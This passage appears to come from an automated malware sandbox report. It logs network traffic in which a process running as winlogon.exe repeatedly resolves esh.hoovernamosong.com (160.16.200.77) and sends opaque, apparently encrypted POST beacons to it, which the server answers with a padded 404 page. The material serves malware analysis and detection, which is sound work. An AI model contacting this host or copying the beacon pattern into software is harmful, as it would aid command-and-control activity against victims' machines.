Nov 28, 2024 13:24:05.671704054 CET	80	49763	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:05.672137022 CET	49763	80	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:06.132903099 CET	49768	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:06.418911934 CET	8443	49768	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:06.934892893 CET	49768	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:07.220505953 CET	8443	49768	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:07.731745958 CET	49768	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:08.020425081 CET	8443	49768	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:08.528034925 CET	49768	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:08.813760996 CET	8443	49768	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:09.324846983 CET	49768	8443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:09.610373020 CET	8443	49768	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:09.693703890 CET	49769	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:09.693726063 CET	443	49769	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:09.694019079 CET	49769	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:09.694247961 CET	49769	443	192.168.11.20	160.16.200.77
Nov 28, 2024 13:24:09.694256067 CET	443	49769	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:10.328033924 CET	443	49769	160.16.200.77	192.168.11.20
Nov 28, 2024 13:24:10.328309059 CET	49769	443	192.168.11.20	160.16.200.77

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 13:22:05.325493097 CET	55204	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:22:05.625668049 CET	53	55204	8.8.8.8	192.168.11.20
Nov 28, 2024 13:22:09.166354895 CET	53267	53	192.168.11.20	1.1.1.1
Nov 28, 2024 13:22:09.571681023 CET	53	53267	1.1.1.1	192.168.11.20
Nov 28, 2024 13:22:11.648729086 CET	57282	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:22:11.982027054 CET	53	57282	8.8.8.8	192.168.11.20
Nov 28, 2024 13:22:17.618042946 CET	51969	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:22:17.909837008 CET	53	51969	8.8.8.8	192.168.11.20
Nov 28, 2024 13:22:23.125699043 CET	61533	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:22:23.299870968 CET	53	61533	8.8.8.8	192.168.11.20
Nov 28, 2024 13:22:29.167543888 CET	51007	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:22:29.340754032 CET	53	51007	8.8.8.8	192.168.11.20
Nov 28, 2024 13:22:35.066895008 CET	63721	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:22:35.346681118 CET	53	63721	8.8.8.8	192.168.11.20
Nov 28, 2024 13:22:40.843082905 CET	54800	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:22:41.017119884 CET	53	54800	8.8.8.8	192.168.11.20
Nov 28, 2024 13:22:46.544986010 CET	64752	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:22:46.719360113 CET	53	64752	8.8.8.8	192.168.11.20
Nov 28, 2024 13:22:52.108289003 CET	50226	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:22:52.281903028 CET	53	50226	8.8.8.8	192.168.11.20
Nov 28, 2024 13:22:58.054683924 CET	62307	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:22:58.228722095 CET	53	62307	8.8.8.8	192.168.11.20
Nov 28, 2024 13:23:03.507575989 CET	60837	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:23:03.680572033 CET	53	60837	8.8.8.8	192.168.11.20
Nov 28, 2024 13:23:08.685023069 CET	62391	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:23:08.859054089 CET	53	62391	8.8.8.8	192.168.11.20
Nov 28, 2024 13:23:14.200290918 CET	50696	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:23:14.374144077 CET	53	50696	8.8.8.8	192.168.11.20
Nov 28, 2024 13:23:19.538625956 CET	65066	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:23:19.712204933 CET	53	65066	8.8.8.8	192.168.11.20
Nov 28, 2024 13:23:25.210855007 CET	62500	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:23:25.385013103 CET	53	62500	8.8.8.8	192.168.11.20
Nov 28, 2024 13:23:30.939066887 CET	58348	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:23:31.112509966 CET	53	58348	8.8.8.8	192.168.11.20
Nov 28, 2024 13:23:36.568837881 CET	61709	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:23:36.742213964 CET	53	61709	8.8.8.8	192.168.11.20
Nov 28, 2024 13:23:42.596934080 CET	50987	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:23:42.770164013 CET	53	50987	8.8.8.8	192.168.11.20
Nov 28, 2024 13:23:48.946985960 CET	60270	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:23:49.120646954 CET	53	60270	8.8.8.8	192.168.11.20
Nov 28, 2024 13:23:54.803864002 CET	63450	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:23:54.977993011 CET	53	63450	8.8.8.8	192.168.11.20
Nov 28, 2024 13:24:00.503408909 CET	52391	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:24:00.676898003 CET	53	52391	8.8.8.8	192.168.11.20
Nov 28, 2024 13:24:05.957317114 CET	64452	53	192.168.11.20	8.8.8.8
Nov 28, 2024 13:24:06.132329941 CET	53	64452	8.8.8.8	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 28, 2024 13:22:05.325493097 CET	192.168.11.20	8.8.8.8	0x9e82	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:09.166354895 CET	192.168.11.20	1.1.1.1	0xab68	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:11.648729086 CET	192.168.11.20	8.8.8.8	0xe1dc	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:17.618042946 CET	192.168.11.20	8.8.8.8	0x848c	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:23.125699043 CET	192.168.11.20	8.8.8.8	0x791f	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:29.167543888 CET	192.168.11.20	8.8.8.8	0xf8d2	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:35.066895008 CET	192.168.11.20	8.8.8.8	0x64f8	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:40.843082905 CET	192.168.11.20	8.8.8.8	0xba77	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:46.544986010 CET	192.168.11.20	8.8.8.8	0x1b84	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:52.108289003 CET	192.168.11.20	8.8.8.8	0x3d3a	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:58.054683924 CET	192.168.11.20	8.8.8.8	0xbfbc	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:03.507575989 CET	192.168.11.20	8.8.8.8	0x65c1	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:08.685023069 CET	192.168.11.20	8.8.8.8	0x5836	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:14.200290918 CET	192.168.11.20	8.8.8.8	0xdf6c	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:19.538625956 CET	192.168.11.20	8.8.8.8	0xd934	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:25.210855007 CET	192.168.11.20	8.8.8.8	0x7c46	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:30.939066887 CET	192.168.11.20	8.8.8.8	0x6644	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:36.568837881 CET	192.168.11.20	8.8.8.8	0x2466	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:42.596934080 CET	192.168.11.20	8.8.8.8	0x41da	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:48.946985960 CET	192.168.11.20	8.8.8.8	0xfb4d	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:54.803864002 CET	192.168.11.20	8.8.8.8	0xc71	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:24:00.503408909 CET	192.168.11.20	8.8.8.8	0x894a	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:24:05.957317114 CET	192.168.11.20	8.8.8.8	0x2bf2	Standard query (0)	esh.hoovernamosong.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 28, 2024 13:22:05.625668049 CET	8.8.8.8	192.168.11.20	0x9e82	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:09.571681023 CET	1.1.1.1	192.168.11.20	0xab68	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:11.982027054 CET	8.8.8.8	192.168.11.20	0xe1dc	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:17.909837008 CET	8.8.8.8	192.168.11.20	0x848c	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:23.299870968 CET	8.8.8.8	192.168.11.20	0x791f	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:29.340754032 CET	8.8.8.8	192.168.11.20	0xf8d2	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:35.346681118 CET	8.8.8.8	192.168.11.20	0x64f8	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:41.017119884 CET	8.8.8.8	192.168.11.20	0xba77	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:46.719360113 CET	8.8.8.8	192.168.11.20	0x1b84	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:52.281903028 CET	8.8.8.8	192.168.11.20	0x3d3a	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:22:58.228722095 CET	8.8.8.8	192.168.11.20	0xbfbc	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:03.680572033 CET	8.8.8.8	192.168.11.20	0x65c1	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:08.859054089 CET	8.8.8.8	192.168.11.20	0x5836	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:14.374144077 CET	8.8.8.8	192.168.11.20	0xdf6c	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:19.712204933 CET	8.8.8.8	192.168.11.20	0xd934	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:25.385013103 CET	8.8.8.8	192.168.11.20	0x7c46	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:31.112509966 CET	8.8.8.8	192.168.11.20	0x6644	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:36.742213964 CET	8.8.8.8	192.168.11.20	0x2466	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:42.770164013 CET	8.8.8.8	192.168.11.20	0x41da	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:49.120646954 CET	8.8.8.8	192.168.11.20	0xfb4d	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:23:54.977993011 CET	8.8.8.8	192.168.11.20	0xc71	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:24:00.676898003 CET	8.8.8.8	192.168.11.20	0x894a	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false
Nov 28, 2024 13:24:06.132329941 CET	8.8.8.8	192.168.11.20	0x2bf2	No error (0)	esh.hoovernamosong.com	160.16.200.77	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

esh.hoovernamosong.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49716	160.16.200.77	80	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 13:22:11.116792917 CET	426	OUT	POST /00000000006AA45A00000000006AA45A HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 40 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: 4b 17 cd c7 34 e9 a8 4d 98 77 72 42 32 9d 87 9c a3 28 1d bf b4 ac 9b 6d 3d cc 53 df ff 99 f0 35 9f 06 6e 9f 41 e5 32 dc Data Ascii: K4MwrB2(m=S5nA2
Nov 28, 2024 13:22:11.424747944 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:22:11 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49719	160.16.200.77	80	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 13:22:17.116930962 CET	449	OUT	POST /00000000006BF3EC00000000006BF3EC HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 63 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: 0e b1 77 76 08 f3 05 36 9c a6 c8 9b 39 e4 be 81 7d 92 61 b6 71 f1 63 89 36 b5 f7 35 65 82 bc f5 b7 70 f7 65 8f 30 b3 f0 32 63 84 ba f3 b1 76 f6 67 8d 32 b1 f2 30 60 86 b8 f1 b3 74 f4 66 8c Data Ascii: wv69}aqc65epe02cvg20`tf
Nov 28, 2024 13:22:17.402518034 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:22:17 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 28, 2024 13:22:22.623982906 CET	475	OUT	POST /00000000006C584400000000006C5844 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 89 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: f7 ce d1 8a 2f 50 66 5b ca e2 5b 42 a2 4e be 7b e8 0b 2d 81 09 4e d0 f5 6d 73 8e dc 10 6d 85 d1 2f ff 7b 38 2d 74 68 a8 0a 9d 64 42 45 30 35 4e f7 53 bb 77 be 73 cc 8a 66 b9 95 f4 28 6b bf 47 57 26 82 62 2d 5c 4e c2 25 bd c3 4a a4 b0 4e 75 ed cf 4d 37 d2 c3 bf 3d 8c Data Ascii: /Pf[[BN{-Nmsm/{8-thdBE05NSwsf(kGW&b-\N%JNuM7=
Nov 28, 2024 13:22:22.909769058 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:22:22 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49724	160.16.200.77	80	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 13:22:28.600559950 CET	483	OUT	POST /00000000006D7F8E00000000006D7F8E HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 97 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: 74 d8 f9 23 1d 0b 19 60 3e 86 da 2a d3 20 d7 34 80 96 64 c4 9e 14 27 9a af 37 1a d4 09 72 72 32 9b af d2 34 d9 8c 9b 46 97 85 ec 20 14 c9 28 c8 38 09 f9 ec dc 32 38 99 66 88 30 9e 91 a1 84 84 71 c2 0d 72 a4 57 73 0a 1e e3 da dd 5a bb b4 52 2c 07 95 56 ca 56 90 ec fc 9d 2e 5d 98 aa 09 cf 08 Data Ascii: t#`>* 4d'7rr24F (828f0qrWsZR,VV.]
Nov 28, 2024 13:22:28.886235952 CET	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 28 Nov 2024 12:22:28 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49727	160.16.200.77	80	5904	C:\Windows\System32\winlogon.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 13:22:34.573101044 CET	512	OUT	POST /00000000006FE06100000000006FE061 HTTP/1.1 Accept: Accept: text/html, application/xhtml+xml, image/jxr, / Content-Length: 125 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: esh.hoovernamosong.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: d1 f7 de a3 14 95 6d b5 d3 c0 47 1b ba b3 d3 6a 1d a3 b0 74 1b c3 19 89 cd 57 68 aa 2c c3 16 43 65 cc e0 95 be bf 1f 41 a5 90 f0 ac d6 bf 76 0f 94 09 0b d2 b7 8a dc cf 78 8b b7 b3 40 06 0a 2a af bf d2 1e b4 c1 da c2 81 cf 19 77 dc 1f 96 87 1e 43 fa a2 05 0c 5f 0a 70 2d c2 2f 95 aa 48 0c b9 48 e6 ca 57 ba 84 0f 23 62 4a e3 17 16 0e b0 1b 89 03 08 e4 27 ef 39 4a c3 ff 85 a3 Data Ascii: mGjtWh,CeAvx@*wC_p-/HHW#bJ'9J
